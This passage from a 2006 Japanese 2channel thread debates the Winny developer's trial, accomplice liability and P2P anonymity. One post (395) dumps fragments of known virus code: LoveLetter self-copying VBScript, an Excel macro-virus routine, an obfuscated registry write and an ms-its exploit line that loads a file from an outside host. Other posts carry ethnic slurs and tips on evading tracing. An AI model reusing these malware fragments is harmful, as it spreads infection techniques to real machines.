万引きしますか? それでその店は潰れてしまって一家心中になるかもしれない
そう言う場合でも万引きはするのか?って感じかな

ny使ってる奴らは、あびるとかぶって見えるんだよ
378 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:33:24 ID:pCTxMY6M0
>>368
全て読んではないけど無罪で高裁は却下するんじゃね?
いまの証拠だけでは争点がないように思う。

カキコが確実に金子のものだと証明できて、
そのうえで意図があるか?ないか?なら、ともかく

カキコすら金子のものだと断定できないんじゃどこで争うんだ?
379 名前:判決[sage] 投稿日:2006/12/10(日) 05:33:34 ID:xdYmitAR0
nyでエッチなファイルをダウンするのはいけないと思います ><
380 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:34:34 ID:DC7iE3V50
>>370
ファイル共有ソフトが乱立してコピー厨が分散して
実質的に違法ファイルの共有性が薄れるんじゃないか?
381 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:34:59 ID:rY6XFCaP0
ny使いが自己弁護に必死に見える。
47はどうあれおまえらは真っ黒だもんな。
382 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:35:00 ID:x/T+wjQr0
>>378
金子は書き込みが自分のものでないと否認していないのでは?
383 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:35:28 ID:dS9JyFICO
作った野郎が有罪とか…ウィニーだけ駄目って訳にいかないよなー。
裁判官どーすんだよ(笑)カスラック辺りから圧力きてそうだが(苦笑
384 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 05:35:46 ID:J+t+y/mt0
フリーネット使え。
リアル足付かない
385 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 05:35:47 ID:yzYnHFKR0
違法は置いといて、コピーできなかったらコンピューターは成り立たない。
コピー機能がなければソフト開発もできない。

メモリに格納されたデータを取り出すことが出来なくなってしまう。
CDとかHDDをメモリに読み込む事もできない。
386 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:36:12 ID:KTg2AYkL0
>>346
宣言したから逮捕ってのは「正犯」
別に宣言がなくてもいいが、「一次ファイル」をアップロードしたから逮捕、ということでしょう。

47氏はその幇助。
387 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 05:36:42 ID:Nyu9/nUPO
>>370
つかどっちに転んでも状況変わらんと思うぞ
388 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 05:36:50 ID:+gzJjUf80
まとめビデオ
http://www.youtube.com/watch?v=-xny5lH4w-g
389 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:36:58 ID:+7VBP1i80
P2PはOk。匿名は不可って 法律ができるだけじゃねぇの?ww

P2Pの匿名BBSとかやばすぎる。
2chだって最近は訴えられるから、自制出来てるつー面があるつーのにw
390 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:37:35 ID:DC7iE3V50
金子無罪にしたら裁判官が自宅で変死させられるかな?
某国の工作員によってw
391 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 05:37:39 ID:1XNoIQyh0
>>372
> 実行犯の顔も知らない、名前も知らない
> 言葉を交わしたこともない
> ソフトのreadmeには「これらのソフトにより違法なファイルをやり取りしないようお願いします」と但し書きがある

これらの事実さえあれば処罰されないのであれば、共謀共同正犯および狭義の共犯は
容易に回避できるということになるね。
392 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:38:00 ID:zkEbRNvb0
>>370
逆だよ逆w 仮に有罪になったら極端な話、日本が鎖国するような結果になるw
1つであれ凡例が出来てしまえば国内だけでなく海外からの介入も面倒だということでタッチしなくなる
それだけ「幇助の罪」というものがどれだけ拡大解釈に損に繋がる原因になるかを考えることになるため
だから有罪判決出した瞬間から悪名高い結果として日本は未来永劫背負うことになるよw
要するに誰も喜べない結果に陥るためのネタになるだけで今、有罪を期待する者は目先の事しか意識できてないはずだから
それは一時的な自己満足に終わり災いは忘れた頃にやってくる絶対にw
と思う(´・ω・`)
393 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:38:19 ID:pCTxMY6M0
>>382
肯定(自白)しなけりゃ一緒さ。
検察がそう言い張ってるだけで、なにも証拠が無い。

ここを固めずに見切り発車したのはどう考えても無茶。
394 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 05:38:44 ID:POUqfsf50
>>377
京都府警ならするんじゃない。
395 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 05:38:45 ID:C3DWVskz0
<body onload=window()>
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
???
396 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 05:39:21 ID:cTJ3tswo0
上の方の読んできたけど、たしかにね。
包丁の話はまさにそう思う。映画の影響でチェーンソーの殺人なんか増大したら
やっぱ罪を問われるのかな?さすがに発明した人を言及したりできないだろうから
映画製作者にいくのかな?鉛筆で目をつかれたって同じなんだけどな。
397 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:39:38 ID:2M491juq0
>>389

匿名がやばいって思うのはおよそ民主主義的な発想ではないな
398 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:40:34 ID:bXcQucS+0
>>377
むしろ拡大解釈で捕まえるのも、拡大解釈で無罪放免にするのも止めてくれと思ってるぞ。

この場合やはりny使用発覚したユーザーをバンバン取り締まっていくべきであるのが筋であって、
一方でユーザーをバンバン無罪放免にして製作者を幇助とか言い出して有罪に持ち込もうとする
やり方があまりにも偏っていると思っているだけ。
399 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:40:51 ID:+7VBP1i80
頭がよくない奴だって、こんなソフトを作ればどういうことになるかわからないわけないし
金子は最低のゴミ屑野郎。

リアルとバーチャルの区別ができてなくて、どんな影響があるかも想像できず
いたずら気分で「作ってみました^^」とかいう愉快犯
400 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 05:41:07 ID:RV+uR2pS0
>>394
京都府警なんか関係ない話だけどな
401 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 05:41:24 ID:PqRLeiNOO
要するに金子は吊し上げをくらったんだろ
合法違法の判断はグレーゾーンだとして、ソフトのせいで
著作権侵害やら個人情報流失の社会問題化した責任を負ってもらうのと
有罪判決でもってソフト利用者に違法性の認識と自制を促すのが目的。

それから「意図」の判断に証拠は必ずしも要らないんじゃ?
殺害容疑で「殺すつもりはなかった」なんて言っても無駄なのと同じ。
あと、製造責任は使用の主な目的が明らかに違法行為を促すものであれば
摘発されて当然
402 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:41:44 ID:XNl92ZnpO
日本の、これから
金子47の、これからwwwwwwww
403 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:42:03 ID:x/T+wjQr0
>>393
たしか自白(検面で)してると思うが。
その上で無罪を主張しているはず
404 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:42:46 ID:DC7iE3V50
京都がブサヨの巣窟で任天堂の本拠地で
特亜在日の多い地域ってのが味噌だな
ネットを特亜に仕切らせるための工作は
こうして着々と押し進められるわけだ。ガクブルだな
405 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:43:04 ID:IAtM+imI0
>>391
なるね
それで何か問題ある?
406 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 05:43:14 ID:OZkEUIT9O
他人から恨まれる様な事をto doしたりwrite込んだりした人は大変だな。まぁ自業自得だけど。
407 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 05:43:27 ID:1XNoIQyh0
>>401
> 殺害容疑で「殺すつもりはなかった」なんて言っても無駄なのと同じ。
事実上無駄なだけであって理論上無駄なわけではないけどね。
408 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:43:53 ID:j4fT1K8QO
>>399
馬鹿の典型ですな
409 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 05:43:56 ID:yzYnHFKR0
>>399
おまえが限りなく幼稚で馬鹿ということだ。
自分で結論を出すまでもないよ。
410 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 05:44:44 ID:RjRZ0A510
というか頭を狙い撃ちして抑止力にするのは日本のお約束じゃね?
軽犯罪(と警察はみているんだろう)の末端を片っ端から検挙するのは非合理である、と。
やりかたとしては別に変則でもなんでもないんだから
やっぱり「日本人なら逮捕される(あるいは有罪)ことは想定しておくべきだった」に尽きるんじゃね?
411 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:44:50 ID:+7VBP1i80
まぁ、所詮法律なんてグレーゾーンがあるもんだからなぁ
見せしめで やっとけば、真似する奴もいなくなり、問題化しない

法律だって、完全じゃないんだから、こういった見せしめプレイも意味があるし、時には必要って事だな
412 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:45:39 ID:8XjOUsE/0
>>399って、京都府警の中の人?
413 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 05:45:50 ID:c7GEs2EE0
このひとの作ったという合法P2Pてどうなったの?
話をとんと聞かないけど、まだサービス始まってない?
414 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 05:46:28 ID:PqRLeiNOO
>>407
まあ誰だって言ってみるわな
415 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:46:38 ID:pCTxMY6M0
>>403
ソースは?裁判では否定したはずだが?

このスレにウイルスコード貼るやつってなんだ?なにが目的?
416 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:46:46 ID:j9TUCpr80
JASRAC様以外の配布は認めん
417 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 05:46:49 ID:DC7iE3V50
>>411
京都府警のただの私怨という線も捨て切れないがな
418 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:47:25 ID:bXcQucS+0
>>400
ちょっとまてw
このny問題の件に関して、他の何よりも京都府警が一番深く関係しているんだよw
419 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:47:30 ID:xdYmitAR0
インターネット概論: 村井純、Winny逮捕について語る
http://www.soi.wide.ad.jp/class/20040002/slides/05/05_5.ram

nyの匿名システムがいかに優れているかが語られてる
匿名性てのは大事なんだ
420 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:47:44 ID:8XjOUsE/0
>>411
プレイ言うな(w
吹いた(w
421 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 05:48:15 ID:6gDOvhw40
事前に「違法幇助の疑いがあるから自粛せい」と
金子氏に警告していたのかな?
前例の無い事件でいきなり逮捕して
判事が有罪出すの渋るような薄弱な証拠しかないと
結果として御上がお墨付きを出すことになると思うんだが、、
前例の無い事件の場合、判決が今後の指針になっちゃうから
生半可な証拠(違法に決まってるじゃん、という予断)だけだと
本当に御赦免に、、、
422 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 05:48:23 ID:rY6XFCaP0
>>398